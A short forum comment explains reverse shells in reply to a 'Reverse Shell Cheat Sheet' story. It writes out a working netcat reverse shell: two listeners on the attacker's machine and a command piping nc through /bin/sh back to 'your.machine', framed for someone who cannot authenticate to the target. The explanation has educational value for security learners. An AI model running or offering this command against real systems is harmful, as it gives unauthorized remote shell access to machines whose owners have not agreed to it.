News for hackers. Stuff that matters.
Re:Reverse Shell Cheat Sheet by effdee on Thursday December 19, 2013 @04:34AM (#6933672)
Normally you connect to a remote system and run a shell there (e.g. via SSH). This usually requires some sort of authentication.

If you cannot authenticate yourself (like, because you're an evil hacker) but found a way to run a code on the remote system you can do the reverse: have the remote system connect back to you.

The "classic way" to do this is to run two instances of netcat in listening mode on your machine:

  terminal1> nc -l 8001

  terminal2> nc -l 8002
Then you run something like this on the remote system:

  nc your.machine 8001 | /bin/sh | nc your.machine 8002
Now you can enter commands in terminal1 and see their output in terminal2.

There are no comments on this comment yet.